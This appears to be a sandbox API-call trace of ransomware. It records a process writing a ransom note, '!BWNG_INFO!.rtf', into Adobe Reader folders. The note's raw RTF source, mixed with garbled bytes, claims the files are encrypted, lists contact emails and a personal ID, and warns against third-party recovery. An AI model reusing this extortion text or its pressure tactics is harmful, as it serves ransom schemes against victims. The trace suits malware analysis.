fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.926] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.927] CloseHandle (hObject=0x1cc) returned 1 [0033.927] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\!bwng_info!.rtf")) returned 0xffffffff [0033.927] GetLastError () returned 0x2 [0033.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 